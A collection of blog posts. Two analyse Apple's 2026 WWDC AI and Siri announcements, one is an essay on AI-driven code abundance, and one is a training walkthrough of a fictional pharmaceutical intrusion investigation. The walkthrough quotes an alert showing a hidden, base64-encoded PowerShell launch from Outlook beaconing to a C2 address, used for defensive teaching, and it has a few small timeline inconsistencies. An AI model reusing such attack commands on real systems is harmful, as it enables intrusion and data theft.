
Since Monday’s announcements, we’ve learned that some features will not work on all devices — and there’s speculation Siri AI may not fully escape beta until 2027. “Until Apple puts a stake in the ground and says when the new Siri features will be available, the debate remains: Does Apple actually have the chops in personalized AI? The demo suggests yes. The lack of timing suggests maybe,” wrote analyst Gene Munster.

Optimists argue that Apple has regained momentum by presenting a coherent AI story, one built around privacy, integration and everyday utility rather than spectacle. Skeptics counter that many of the features resemble capabilities already available elsewhere, and say the company still needs to prove it can ship them at scale and make them a meaningful reason for consumers to upgrade.

What the analysts say

That balance is visible in analyst reaction. In a client note seen by Computerworld, Erik Woodring of Morgan Stanley described the keynote as clear progress on Apple’s AI roadmap and said it suggested monetization opportunities could arrive earlier than expected — even if the overall journey will be “a marathon, not a sprint.”

UBS, in contrast, said the privacy-focused AI additions are useful but unlikely to be a material driver of iPhone demand in the near term, while Barclays called the changes interesting but incremental, and not enough to drive an upgrade cycle.

Ben Wood, chief analyst at CCS Insight, argued that Apple had to answer concerns about its AI shortcomings and now has to prove that its privacy-led, integration-first approach translates into a meaningfully better everyday experience. “Consumers will not judge Apple Intelligence by model sizes, partnerships or technical architecture,” Wood told me. “They will judge it by whether Siri understands them, whether actions work, whether personal context feels useful rather than intrusive, and whether the experience is consistent across devices.”

Dipanjan Chatterjee, vice president principal analyst at Forrester, said Apple’s strength lies in shifting the focus from the underlying technology to outcomes such as usefulness, simplicity and trust, while warning that the company still has skeptics to win over after its stop-start AI rollout. “The lesson for brands is clear: market the value, not the ingredients,” said Chatterjee. “After stumbling with the Apple Intelligence roll-out, Apple’s success will hinge on delivering the new Siri experience quickly, and ensuring it works as promised for iPhone users at scale.”

What about Apple developers?

While many are infuriated about Europe’s inability to build compromise, Apple’s developer army otherwise seems positive about what the company has accomplished.

“On the AI front, it never made sense to me for Apple to develop their own LLM, so focusing on powerful, fast and private for implementation of Apple Intelligence seems to be an effort that is progressing rather nicely. In all, a pretty good Keynote, I’d say,” Rich Siegel, founder and CEO of Bare Bones Software, said in an interview.

“It’s great to see Apple continue to pursue a vision of AI that leverages local systems, preserves privacy, and integrates with third party tools,” said Ken Case, CEO of the Omni Group. “A lot of our work around the Apple Foundation Models and automation, App Intents, and adopting Swift look to be fruitful investments, but it’s clear there’s more to do starting this summer. It’s also welcome to see them refine Liquid Glass, giving customers more control and listening to feedback they’ve heard over the past year.”

“I expected that this year’s Siri revamp would be the biggest personal assistant update Apple has ever done, and that’s exactly what we got,” said Sergii Kryvoblotskyi, director of AI and research at MacPaw. “Since Apple acquired Siri back in 2010, it has lacked one thing: real intelligence. Behind the great speech recognition service it provided, the tech was not ready to provide real value to users.”

“Most notable for me was Siri AI and the push towards on-device and more capable models that can do more with user context,” Matt Vlasach, Jamf senior vice president, enterprise products and solutions engineering,” said in an interview. “While obvious for consumer use cases, as illustrated in the keynote, the opportunity to evolve this to the work context using a more advanced Apple Intelligence framework is an exciting evolution.”

“OS 27 feels like a deliberate reset, less about new features and more about polish and quality-of-life improvements, which most users will welcome,” said John Richards, general manager, IT products, at Iru. “The new capabilities are focused entirely on Apple Intelligence and Siri AI, and what’s encouraging is how much Apple leaned into privacy with the Gemini partnership. That combination of capability and privacy-first design is the right instinct.”

“The single biggest request I made at Apple’s Foundation Models workshop in Madrid was opening Private Cloud Compute to third-party developers,” said Serhii Popov, senior software Eengineer at CleanMyMac. “It’s here and free for apps under 2 million users. That’s a real breakthrough and a huge opportunity for a lot of great apps.”

How will integrated AI change things?

Joel Rennich, senior vice president for product management at JumpCloud, looked ay how on-device AI will transform other paradigms. For starters, it shifts identity from simple authentication to governing what actions an AI agent is allowed to take.v“Enterprises will need identity frameworks that govern both human and non-human actors consistently,” he said.

“iOS 27 and Apple Intelligence point toward an operating system that does not just launch apps, it executes intent,” Rennich said. “Instead of users navigating between tools, the OS increasingly mediates outcomes directly through AI. This changes how work is initiated and completed on devices.

“With Apple Intelligence integrated across core experiences like Siri, Safari, and system services, AI is no longer an overlay but infrastructure. The separation between where data lives and where it is used becomes increasingly invisible to the user. Intent becomes the primary input, not app selection.”

I also spoke with Hexnode CEO Apu Pavithran, who pointed to some of the concerns enterprise users might have following WWDC: “The keynote didn’t speak much to admins,” he said. “The features that matter most at the management layer, such as how Apple exposes Siri AI through MDM APIs, whether IT gets granular per-app controls for Apple Intelligence, how shared device deployments handle the new assistant — these will be answered in the developer documentation. This week, that’s where IT teams should be looking.”

“Admins should dig in immediately and see what’s changed. Watch the developer docs, audit how Apple Intelligence interacts with existing device policies, and remember that the keynote is only a part of the story for enterprises,” he said.

Making AI great again

“Rebuilt from the ground up, Apple is trying to make AI feel native, useful and invisible across the devices people already use every day,” Francisco Jeronimo, vice president for client devices at IDC, said in an interview. “This matters, because the winning AI experience for consumers will not be the loudest or most technically complex. It will be the one that understands context, respects privacy, works reliably across apps, and reduces friction without forcing users to change behavior.”

“[Apple] is also clearly seeking to differentiate through its privacy promises,” said CCS Insight’s Wood. “This looks like a step in the right direction, but there is no room for complacency, and Apple still has a long AI journey ahead.”

Pavithran reflected on something more. “Overall, it’s hard not to think of this year as a deliberately measured keynote, one that’s intentionally playing it safe and seeking to rewrite the AI narrative,” he said. “I won’t be surprised if this ends up setting the stage for a much bigger installment next year with incoming CEO John Ternus hitting the ground running with some ‘wow’ features like new hardware or agentic AI at scale.”

That we can now seriously consider that possibility shows the extent to which Apple has regained momentum in AI on its platforms.

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon and The Core.

WWDC: Did Apple make the AI grade this year?

Mon, 08 Jun 2026 23:17:21 +0200

There were several key components to emerge from Apple’s developer conference Monday as the company sought to reassure users (and investors) that it has met the existential challenge represented by AI. Aside from a serious focus on Siri AI and embedded Apple Intelligence across its varied platforms, officials also hailed a slew of performance/usability tweaks, described new child safety tools, gave macOS 27 a real name, “Golden Gate” — and offered a standing ovation in farewell to outgoing CEO Tim Cook.

Before the Worldwide Developer Conference (WWDC), analysts seemed optimistic about the company’s plans, most of which had already leaked. Analysts didn’t expect Apple to announce anything that would transform the AI industry (it didn’t), but they did hope the company would introduce tools to keep it competitive with rivals (it did). That’s assuming all the demos at the event were live, actual feature demos, rather than faked set-ups as seen before.

Hard, hard work

Apple’s teams have evidently worked incredibly hard to come this far, and execs did introduce truly impressive new AI features focused on what customers and developers actually need. The company also played to its strengths, particularly around vision intelligence; private-by-design (large language models) LLMs; highly useful contextual awareness; and Siri AI, which works as an app and lets you carry on conversational quests securely across all your Apple devices.

As anticipated, Apple also introduced APIs developers will be able to use to provide new AI features in their apps.

Among the many individual tools most of us can expect to use this fall, are:

Siri AI, which can help users search for information across their messages, emails, photos, and more; answer questions about virtually any topic; and take action in apps.
Apple Passwords, which now automatically fix weak and compromised passwords with agentic AI.
Spatial reframing, which lets users recompose a photo after it’s been taken by dragging to shift perspective, as if repositioning the camera in the original scene.
A new Extend Tool, which expands the edges of an image to add breathing room, fix a crooked horizon, or change aspect ratio without losing the original subject.
A Notify Me tool that monitors web pages for changes such as price drops or restocks and sends a notification when something changes.
Photorealistic image generation, which supports the creation of high-quality photo-realistic images via a new generative model running on Private Cloud Compute.
One-tap contextual suggestions in Messages, which surface actions such as creating reminders and notes, or finding relevant photos based on conversation context.
And Describe a Shortcut, which means users can describe an automation they want in plain language and Shortcuts assembles the required steps automatically.

All about you, not AI

Apple did not seek to introduce AI features for their own sake; instead, it remains deeply focused on how to make its devices more useful to customers. As Craig Federighi, Apple’s senior vice president of software engineering, said:

“Truly helpful AI must be centered on our users’ needs, deeply integrated into the products they rely on every day, grounded in personal context, and built with privacy at every step. That is our vision for Apple Intelligence. With useful features for browsing the web, expressing creativity, editing photos, and so much more, today marks a big step forward on our journey to integrate powerful AI into the core of our platforms and make our products even more personal and useful.”

Apple is not Gemini

Apple confirmed that it worked with Google Gemini to create some of the AI models highlighted today. This led some analysts before the event to say: “For Apple, the bull case is that a working Siri reframes it as an AI winner; the bear case is that paying a rival for core intelligence caps the premium investors assign to the stock.”

Perhaps they need not worry, as what we now seem to have is a far more solid base from which to continue to develop AI services and tools that compete against others in the space. Not only that, but Apple is not using rebranded Gemini — it simply worked with Google to build its own models, as Federighi insisted. In meetings at the show, Apple explained the full extent of the work it did with Google, stressing that none of the new features should be considered white label versions of Google’s LLMs.

(Even Apple’s new search tools are based on its own search database, rather than anybody else’s. And when advanced searches are shared with Google-hosted Nvidia processors, Apple puts privacy protection in place.)

In the end, the most important consideration — for customers and developers — is that Apple seems to have succeeded in bringing dozens and dozens of powerful new on-device AI tools to its customers, giving it a firmer, more impressive peer position in the business. (It’s also true that investors were disappointed that the new AI features won’t be made available in Europe or China due to regulatory challenges, putting developers in both nations at a disadvantage.) Developers elsewhere will be able to explore Apple’s Foundation Models and its new Core AI APIs to their heart’s content.

First reactions to Apple’s news

While Apple’s stock value dipped as investors sold on the news and invested into the speculation, I do think Apple successfully turned this corner — though it will need to continue to invest heavily in AI across its platforms. The work is far from over.

“It is great to see Apple continue to pursue a vision of AI that leverages local systems, preserves privacy, and integrates with third party tools,” Ken Case, CEO of the Omni Group, told me. “A lot of our work around the Apple Foundation Models and automation, App Intents, and adopting Swift look to be fruitful investments, but it’s clear there’s more to do starting this summer.”

Creative Strategies President and Principal Analyst Carolina Milanesi explained why it matters Apple is deploying these capabilities across its ecosystem, as it gives the company a unique market position. “Where Apple Intelligence is today is different than what Claude or ChatGPT are because is it really embedded in the devices, and we need to remember that Apple sells devices,” she said.

Apple did also note that the new Siri AI will be available in beta this year. “Investors wanted it in September. That means the real version is likely early to mid 2027,” said Gene Munster at Deepwater Asset Management. “Funny that the stock actually ticked up 0.5% on the “beta later this year” update given [that] while it’s later than what they wanted, it is at least a date that investors can focus on.”

It is also true that what Apple did achieve this year at WWDC is to offer up a set of new AI features that investors already see as having significant value.

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon and The Core.

Making sense of too much code

Mon, 08 Jun 2026 11:03:49 +0200

Anyone can build an app now. But nobody seems to care.

Well, not nobody. VCs keep funding startups that add AI to, well, everything. But users aren’t buying the massive influx of new apps. In a chart shared by Jen Zhu Scott based on the new National Bureau of Economic Research’s working paper “Writing Code vs. Shipping Code,” iOS app releases have exploded since the advent of agentic AI. That would perhaps be cause for celebration had app reviews not declined during this same period, and apps with significant usage have stayed essentially flat.

In other words, more apps but almost nobody new showing up to use them.

For those of us that grew up in open source, it’s a familiar problem. The greater the abundance of code, the greater the need to help would-be customers navigate it through marketing (including branding), sales, etc. AI is creating so much noise, in terms of new code, new products, etc., that the real work has shifted to taste-making.

Getting more but not using more

I’ve been saying for a while that developer productivity isn’t about producing more code faster. Or at least it shouldn’t be. Productivity is about producing well-architected, secure, maintainable code that solves a problem someone actually has.

That’s a very different thing. It’s not something AI can fix; at least, not yet.

Charity Majors put it more bluntly in a post I wrote in 2024: “Writing code is the easiest part of software engineering,” she said. The harder parts are figuring out what to build, integrating it into a larger system, validating that it works, maintaining it over time, and getting humans to trust it enough to use it.

Turns out the harder parts are really hard. Mert Demirer, Leon Musolff, and Liyuan Yang tracked more than 100,000 GitHub developers alongside their AI usage telemetry. Autocomplete, interactive agents, and autonomous agents each ramped raw coding activity, with cumulative effects on commits of 40%, 140%, and 180%. That sounds great until you look how the gains attenuate the closer you get to actual users. For example, that 180% jump in commits became roughly 50% more projects and just 30% more actual releases. The report’s authors call this the weak-link problem: The strong link (writing code) got much stronger, while the weak links (everything else humans have to do) didn’t. The estimated elasticity of substitution between AI and human effort is 0.25, which is economist for “these complement each other, but they don’t replace each other.”

When the authors checked four major app marketplaces, they found a bump in new apps but no increase in total usage. In other words, we’re getting better at creating things with AI’s help; apparently we’re not good at turning that into user interest. User attention (and budget) is finite. The hard part is to figure out how to get users to care enough to pay (with their time or their money).

Learning to love marketing

So what’s actually scarce in a world of near-infinite software? Not code, for sure. No, what’s scarce is attention, trust, and a reason to switch.

That means the durable advantages in software increasingly live in the parts of the business developers often undervalue, like a recognizable brand (something that Red Hat figured out early on in open source) or a channel they already use. Or it could be in areas that developers appreciate but don’t pay for, like good documentation or a welcoming community.

This isn’t a new idea; it’s just newly unavoidable. We’re watching something similar inside enterprises, where AI adoption is wildly uneven, not because the technology has no value, but because the organizational plumbing around it often hasn’t been built. This is why a new kind of speed is important. I once argued that speed was the killer app, and that was mostly true. Today the more interesting speed is how quickly you can earn trust, fit into a workflow, answer objections, and get adopted.

Years ago I wrote that RethinkDB was dead and MongoDB wasn’t what killed it. RethinkDB was at the time, by many technical measures, a better database, built around “correctness, simplicity, and consistency.” It still lost—and badly. Its founder’s own postmortem was unsparing: They had picked a brutal market and tuned the product to the wrong definition of good. Being technically right turned out to have almost nothing to do with getting adopted.

With AI we’re generating a thousand smaller “RethinkDBs,” only faster and with nicer landing pages generated by the same model that wrote the code. These aren’t going to win, any more than RethinkDB was able to unseat MongoDB. It’s not just about the tech, but rather about making that tech fit within a user’s or enterprise’s world and making it easy to adopt. AI makes this harder, not easier.

It’s a cliché that developers don’t like marketing. It’s also false in my inexperience. What developers don’t like is traditional marketing. During my time at MongoDB and now at Oracle, my developer relations teams have focused on offering developers deep, hands-on enablement, and the response has been fantastic. Is a technical tutorial marketing? Of course it is. So is a forward-deployed engineer working side by side with an enterprise’s engineers to help them effectively use your tech. Just because it’s not a 30-second Super Bowl ad doesn’t mean it’s not marketing.

Years ago the Dilbert cartoon captured developers’ disdain for marketing. It was funny then, and it’s funny now, but it has never been true.

Years ago Matt Klein, creator of the open source Envoy project, once talked me through all the non-development work that goes into making an open source project thrive. As he reflected, “If you look at what I did in 2016 and early 2017 to [introduce] and grow the project, it was not technical.” So what was it, if not core engineering? “It was all leadership, public relations, marketing, documentation, etc., and I did it all myself and I nearly killed myself [doing it].” As he summed it up for me, it was a “f—ing lot of work,” and much (most?) of it wasn’t about code. It was about helping users appreciate the value of that code.

TL;DR? The boring but essential go-to-market grind has always been the real job. It’s what will separate winners from losers in AI.

The boring work wins

None of this is an argument against AI coding tools. Developers should absolutely use them. I use them constantly.

But AI can’t compensate for the hard work that goes into making a product successful in the market. In a world drowning in AI-generated sameness, taste becomes a competitive advantage. For me, “taste” translates into knowing what not to build, or what not to publish. It’s also all about knowing how to market one’s product, which might include ads but definitely needs to incorporate technical training that helps developers make sense of your code.

In short, there’s no Field of Dreams “build it and they will come.” There’s just a lot of hard, human work to help real people find and use your code.

CTI as a Code in Practice: Reactive Investigation — LifeTech Pharma

Mon, 08 Jun 2026 06:38:21 +0200

A complete walkthrough of the methodology applied to a real training scenario: pharmaceutical IP theft, dual entry points, and a DCSync that changes everything.

All organizations, names, and data are fictional. This is training assignment A01 from the CTI as a Code repository.

Based on the methodology: “CTI as a Code”

CTI as a Code: Complete Step-by-Step Methodology

The Scenario

LifeTech Pharma Ltd. is a mid-sized Israeli pharmaceutical company in Rehovot. It develops and manufactures generic drugs and biological APIs, exports to the US, EU, and MENA, and recently signed a $52 million licensing deal with a US biopharma partner. The signed formula files are stored on SERVER-RD-02\LicenseDeals\USPartner2024\ — 47 files, approximately 380 MB compressed.

On Friday, 15 November 2024 at 18:47 IST, the on-call SOC analyst receives a CrowdStrike behavioral detection:

ALERT: Suspicious PowerShell Activity
Severity: High — Behavioral IOA
Host: WS-CFO-01.lifetechpharma.local  [Michal Cohen, CFO]
Process: powershell.exe (PID 3784)
Parent: OUTLOOK.EXE (PID 2240)
CommandLine: powershell.exe -NonI -W Hidden -Enc JABjAD0ATgBlAHcA...
Timestamp: 2024-11-15T18:42:33Z

That’s the visible trigger. The actual breach started 24 days earlier — and the alert is the second of two entry points, not the first.

Step 00: Clone, Initialize, and Fill the Template

Before the phone rings. This step takes three minutes and is done once per investigation — ideally before the alert even comes in, or in the first five minutes after hanging up the initial call.

1. Clone the repository (one-time setup)

If you have not cloned CTI_as_a_Code yet, do this once on your analyst workstation:

cd ~
git clone https://github.com/anpa1200/CTI_as_a_Code.git

You will never modify this clone. It is your template source. Leave it as-is and pull updates periodically:

cd ~/CTI_as_a_Code && git pull

2. Create your investigations folder

mkdir -p ~/investigations

Use any path you prefer — just keep it consistent across all cases. Do not create investigations inside the CTI_as_a_Code clone.

3. Copy the reactive template for this case

cp -r ~/CTI_as_a_Code/templates/reactive/ ~/investigations/lifetech-2024-11

Naming convention: [org-slug]-[YYYY-MM]. One folder per case. Verify the structure:

ls ~/investigations/lifetech-2024-11/
tree ~/investigations/lifetech-2024-11/

Expected:

00-scope/   01-evidence/   02-sources/   03-analysis/
04-detections/   05-deliverables/   06-ai-outputs/   07-feedback/
README.md   intake-form.md   project.yml

4. Initialize git inside the case folder

cd ~/investigations/lifetech-2024-11
git init
git add .
git commit -m "PROJ-2024-001: scaffold initialized from reactive template"

This is commit zero. Its purpose is to prove — to a lawyer, an auditor, or yourself — exactly what state you started from before any analysis began.

5. Fill in project.yml

This file is the single source of truth for project metadata. Open it now:

nano project.yml

The template has blank fields. Fill every one(During the investigation):

project:
  id: "PROJ-2024-001"
  name: "LifeTech Pharma — Targeted Intrusion"
  type: reactive
  classification: TLP:AMBER
  status: in-progress
analyst:
  name: "Your Name"
  role: "CTI Analyst"
  contact: "your@email.com"
timeline:
  incident_date: "2024-11-15"
  detection_date: "2024-11-15"
  investigation_start: "2024-11-15"
  report_due: "2024-11-17"         # INCD 72h clock - expires 18:47 IST Nov 17
pirs:
  - id: PIR-001
    question: "Was the US licensing formula package (SERVER-RD-02\\USPartner2024\\) accessed or exfiltrated? If so, what and when?"
    priority: high
    status: open
  - id: PIR-002
    question: "How did the adversary gain initial access - phishing, credential theft, or exploitation?"
    priority: high
    status: open
  - id: PIR-003
    question: "Is there evidence of ongoing access or persistence as of investigation date?"
    priority: high
    status: open
scope:
  systems:
    - WS-CFO-01
    - WS-IT-LEVI
    - SERVER-RD-02
    - SERVER-FIN-01
    - DC01
  threat_actor: unknown
  attck_techniques: []             # leave blank now - fill during R4
deliverables:
  - type: executive-brief
    status: pending
  - type: soc-handoff
    status: pending
  - type: sigma-rules
    count: 0
    status: pending
notes: "INCD 72h notification clock starts 2024-11-15 18:47 IST. Legal hold on WS-IT-LEVI - no hardware access, RTR only."

Do not leave any field as "" or [] if you know the value. Unknown fields are fine — write unknown explicitly. A blank field means "forgot to fill in." unknown means "we looked and do not know yet."

6. Commit the filled metadata

git add project.yml
git commit -m "PROJ-2024-001: project.yml filled — 3 PIRs, INCD deadline 2024-11-17 18:47 IST, legal hold WS-IT-LEVI"

The folder is now named, scoped, and version-controlled. The intake call can begin.

Step 0: Intake — What the First Call Captures

Before opening Splunk, before pivoting on the C2 IP, before forming a hypothesis — the intake call runs. This is 15 minutes with the Tier 2 escalation and the IR Lead before any analysis work begins.

The intake captures facts that change what you look for.

Open the intake form before dialing:

cp intake-form.md 00-scope/intake-2024-11-15.md
nano 00-scope/intake-2024-11-15.md

The template has 9 sections. Work through them in order during the call — do not paraphrase in real time, write what the reporter says verbatim. You will analyze it after. For LifeTech this call produces:

# Investigation Intake — PROJ-2024-001 — 2024-11-15

Completed by: On-call CTI analyst (Yael Mizrahi)
Intake call with: Noa Ben-David (IR Lead), Ran Katz (SOC Manager)
Call time: 2024-11-15 18:55 IST

---

## 1. What was reported?

**1.1 What did you see or receive that caused you to raise this?**
"CrowdStrike fired a high-severity behavioral IOA on Michal Cohen's workstation —
PowerShell with base64 payload launched directly from Outlook. Tier 1 pulled the
network tab and found 3 outbound connections to 203.0.113.87 over the last 15
minutes. This is the CFO's machine. We escalated immediately."

**1.2 Where did this first come to your attention?**
- [x] Alert from SIEM / EDR / AV  ← CrowdStrike Falcon behavioral IOA, severity: High

**1.3 When did you first notice it?**
Date: 2024-11-15   Time: 18:47   Timezone: IST (UTC+2)

**1.4 Do you believe the activity is still ongoing?**
- [x] Yes — still active (C2 connections still firing at time of call)

---

## 2. What is already known?

**2.1 What systems, accounts, or services appear to be involved?**
- WS-CFO-01.lifetechpharma.local — Michal Cohen, CFO. Dell Latitude, Windows 11.
- 203.0.113.87 — external IP, destination of C2 connections. Not in any allowlist.
- OUTLOOK.EXE (PID 2240) → powershell.exe (PID 3784) — parent-child confirmed.
- No other hosts identified yet — investigation is 8 minutes old.

**2.2 What was the observed behavior?**
"PowerShell with -NonI -W Hidden -Enc flags spawned from Outlook. The encoded
command has not been decoded yet. Three separate TCP connections to 203.0.113.87
on port 443 over 15 minutes — looks like a beacon pattern."

**2.3 Has anyone else already investigated or looked into this?**
- [x] Yes — Tier 1 analyst (Omer Cohen) ran initial Splunk queries (last 1 hour only).
  What did they touch: read-only Splunk queries. No changes to the endpoint.

**2.4 What do you think happened?**
"Probably a phishing email with a malicious attachment — xlsm macro or something
similar. Michal must have opened it in the last few hours. We don't know if anyone
else was targeted."

---

## 3. Timeline of discovery

**3.1 When do you believe the activity started?**
- [ ] Known
- [x] Estimated: activity on WS-CFO-01 started approximately 18:42 IST (PowerShell
  launch timestamp from CrowdStrike event).

**3.2 How long do you estimate the activity has been occurring?**
Approximately 13 minutes from first PowerShell event to escalation call (18:42–18:55 IST).
However: unknown whether this is the beginning of the intrusion or a later stage.

**3.3 Is there a specific event that triggered the alert or complaint?**
CrowdStrike behavioral IOA fired at 18:42:33 IST on WS-CFO-01. Tier 1 escalated
at 18:47. IR Lead paged at 18:52. Intake call started at 18:55.

---

## 4. What has already been done?

**4.1 Has any system been rebooted, shut down, or reimaged since the activity was discovered?**
- [x] No — WS-CFO-01 is still running. Not yet isolated.

**4.2 Have any credentials, tokens, or API keys been rotated or revoked?**
- [x] No — no credential changes made yet.

**4.3 Has any network access been blocked or firewall rules been changed?**
- [x] No — 203.0.113.87 has not been blocked. Ran confirmed: "We wanted to check
  with you first before blocking — didn't want to tip them off."

**4.4 Has any malware been deleted or quarantined?**
- [x] No — CrowdStrike flagged the process but did not quarantine. Alert status: Detected,
  not Prevented (policy is set to Detect-only on this machine — CFO exception policy).

**4.5 Has anyone notified external parties?**
- [x] No — no external notification yet. INCD assessment pending scope confirmation.

---

## 5. Systems and access

**5.1 What logging is expected to exist for the affected systems?**
- Endpoint logs (Sysmon, CrowdStrike): [x] Yes — CrowdStrike on WS-CFO-01. Sysmon on
  WS-CFO-01. NOTE: Sysmon NOT deployed on server-class machines or DC01.
- VPN / authentication logs: [x] Yes — Cisco AnyConnect VPN, logs in Splunk.
- Database audit logs: [x] Yes — SQL audit on SERVER-RD-02 (partial EIDs only).
- Network flow / firewall logs: [x] Yes — Palo Alto NGFW. RETENTION: 14 days only.
  ⚠ SERVER-RD-02 outbound logs will expire 2024-11-29 for today's traffic.
- Email gateway logs: [x] Yes — M365 Message Trace, 30-day retention. ATP enabled.
  NOTE: ATP sandbox NOT enabled for xlsm files — policy gap identified.
- Cloud provider logs: [x] Yes — Azure AD sign-in logs, 30-day retention.

**5.2 What tools and access does the analyst have?**
- [x] Admin access to affected hosts (CrowdStrike RTR for WS-CFO-01, WS-CFO-01 CrowdStrike console)
- [x] Read access to SIEM (Splunk — full org)
- [x] Access to EDR console (CrowdStrike Falcon — full org view)
- [x] Access to network equipment / firewall logs (Palo Alto Panorama — read only)
- [x] Access to cloud console (Azure AD — Security Reader role)
- [x] Access to email gateway (M365 Security & Compliance — Message Trace)
- [ ] VPN / jump host credentials — not yet, request submitted
- [x] TheHive / OpenCTI lab access

**5.3 Are there any systems the analyst should NOT touch?**
⚠ WS-IT-LEVI (Paz Levi, IT Admin): LEGAL HOLD issued at 20:45 IST today.
  HR investigation underway — UNRELATED to this incident (employment matter).
  Hardware access BLOCKED for 48–72 hours per Legal counsel (Adv. Dina Shapiro).
  Remote CrowdStrike RTR is PERMITTED — confirmed by Legal.
  No memory image, no disk image, no physical access until hold lifted.

---

## 6. Business impact

**6.1 What business processes are affected or at risk?**
"The CFO's email and workstation are involved. If this is a full compromise, finance
data is at risk. We also have R&D server SERVER-RD-02 — it holds the formula files
for the US licensing deal. That deal closes in 6 weeks. If those files were touched,
we have an FDA NDA issue and a $52M deal at risk."

**6.2 Is customer data, employee data, or regulated data potentially involved?**
- [x] Yes — type: proprietary formula files under FDA NDA filing (USPartner2024 package,
  47 files, ~380 MB). Also: employee financial data on SERVER-FIN-01 if CFO path
  extended to finance server.

**6.3 What is the financial exposure if this is confirmed?**
Direct deal risk: $52M US licensing agreement. Regulatory exposure: Israeli Privacy
Protection Law (PPL) fines + FDA NDA breach penalties. Reputational exposure: US
partner disclosure obligation if formula data confirmed exfiltrated.

**6.4 Is there a hard deadline driving this investigation?**
- [x] Yes — deadline: INCD 72-hour notification window starts from discovery of
  breach (not discovery of alert). If formula data or critical infrastructure
  involvement confirmed: clock starts NOW → expires 2024-11-17 ~18:47 IST.

---

## 7. Regulatory and legal constraints

**7.1 Are there applicable notification requirements?**

| Regulation | Applicable? | Deadline | Notified? |
|---|---|---|---|
| INCD (Israeli critical infrastructure) | TBD — assess after scope confirmed | 72h from discovery | No |
| Biometric Database Authority | No — no biometric data at LifeTech | — | N/A |
| BoI-CD 362 (Israeli financial) | No — LifeTech is not a financial entity | — | N/A |
| GDPR | TBD — EU customers in export data? | 72h from awareness | No |
| PCI-DSS | No — no card processing at LifeTech | — | N/A |
| Israeli Privacy Protection Law | Yes — employee + partner data in scope | Per PPL — notify DPA if breach confirmed | No |
| FDA / NDA obligation | Yes — if formula files confirmed exfiltrated | Immediate notification to US partner | No |

**7.2 Is there an active legal hold on any systems or data?**
- [x] Yes — WS-IT-LEVI (Paz Levi). Legal hold issued 2024-11-15 20:45 IST.
  Contact: Adv. Dina Shapiro (Legal). Hold expected: 48–72 hours minimum.

**7.3 Has legal counsel been notified?**
- [x] Yes — Adv. Dina Shapiro notified of the security incident at 19:10 IST.
  Advised: do not touch WS-IT-LEVI hardware. RTR permitted with logging.

---

## 8. Analyst notes

(Raw notes taken during call — unprocessed)

- Ran (SOC): "The CFO is still at the office. We haven't told her yet. Should we?"
  → IR Lead decision: do not inform CFO until after memory dump. Risk: she might
  reboot the machine.
- The CrowdStrike policy on WS-CFO-01 is DETECT-ONLY (CFO exception policy).
  This is why the process was not killed automatically. SOC should evaluate
  moving to Prevent for exec machines after this incident.
- 203.0.113.87 — not blocklisted anywhere in org. Ran says: "It's clean on our
  end, never seen it before." Worth enriching immediately (VirusTotal, Shodan).
- Memory dump of WS-CFO-01 is urgent — C2 is still active. Process may have
  network artifact or decrypted payload in memory. Action: RTR memory dump NOW.
- No mention of SERVER-RD-02 during this call — IR Lead is not aware of the
  formula file risk yet. Will scope that separately after evidence inventory.
- p.levi (WS-IT-LEVI) is under HR investigation for unrelated reason. Legal hold
  is coincidental. However: IT admin access + legal hold + security incident
  creates a complex situation. Document carefully.

---

## 9. Next actions

| # | Action | Owner | Due |
|---|---|---|---|
| 1 | Take memory dump of WS-CFO-01 via CrowdStrike RTR before C2 session ends | Yael (CTI) | Immediate |
| 2 | Enrich 203.0.113.87 — VirusTotal, Shodan, passive DNS, ASN lookup | Yael (CTI) | Within 30 min |
| 3 | Pull M365 Message Trace for m.cohen last 48h — identify delivery vector | Omer (Tier 1) | Within 30 min |
| 4 | Retrieve Palo Alto firewall logs for WS-CFO-01 and SERVER-RD-02 — full available window | Ran (SOC) | Within 1h ⚠ retention risk |
| 5 | Check Azure AD sign-in logs for m.cohen and p.levi — last 30 days | Yael (CTI) | Within 1h |
| 6 | Confirm SERVER-RD-02 USPartner2024 directory access — pull EID 4663 from Splunk | Yael (CTI) | Within 2h |
| 7 | Open TheHive case PROJ-2024-001, attach this intake as first observable | Yael (CTI) | Within 30 min |
| 8 | Advise IR Lead on INCD 72h clock — confirm if formula data scope triggers mandatory notification | Noa (IR Lead) + Legal | Within 2h |

---

*Intake completed 2024-11-15 19:18 IST. File saved as 00-scope/intake-2024-11-15.md.*
*Case opened in TheHive: PROJ-2024-001.*
```

Two items in this intake change the entire investigation trajectory: the legal hold on `WS-IT-LEVI` (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.

The intake commits to git first:

Two items in this intake change the entire investigation trajectory: the legal hold on WS-IT-LEVI (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.

The intake commits to git first:

git add 00-scope/intake-2024-11-15.md
git commit -m "PROJ-001: intake — CFO PowerShell alert, legal hold on WS-IT-LEVI, formula data in scope"

Step 1–2: Project Setup and Scope

The folder and git repo already exist from Step 00. This step fills the scope document and gets stakeholder sign-off before any analysis begins. The rule: you do not start looking at logs until the scope is committed.

1. Open the scope document

nano 00-scope/scope.md

# Intelligence Source Registry

**Project:** PROJ-2024-001 — LifeTech Pharma Targeted Intrusion

Admiralty Scale: Source reliability A (completely reliable) – F (reliability cannot be judged).  
Information reliability: 1 (confirmed) – 6 (truth cannot be judged).

---

## Internal Sources

| ID | Source | Type | Admiralty | Notes |
|---|---|---|---|---|
| INT-001 | Splunk SIEM | Log aggregation | A/2 | Primary forensic source; full org scope; read-only access. Initial 1h Splunk query by Tier 1 (Omer Cohen) — covered WS-CFO-01 only. |
| INT-002 | CrowdStrike Falcon | EDR / endpoint telemetry | A/2 | Deployed on WS-CFO-01, WS-IT-LEVI. NOT deployed on R&D server fleet (12 servers) or DC01. CFO machine on Detect-only policy (not Prevent). |
| INT-003 | Palo Alto NGFW (Panorama) | Firewall flows / NetFlow | A/2 | Read-only. 14-day retention. ⚠ SERVER-RD-02 Nov 6 outbound flows expire 2024-11-20 — retrieve before any other task. |
| INT-004 | M365 Message Trace | Email gateway logs | A/2 | 30-day retention. ATP sandbox NOT enabled for .xlsm files — phishing attachment delivered uninspected. |
| INT-005 | Azure AD sign-in logs | Cloud authentication | A/2 | 30-day retention. Security Reader role. Covers m.cohen and p.levi sign-in history. |
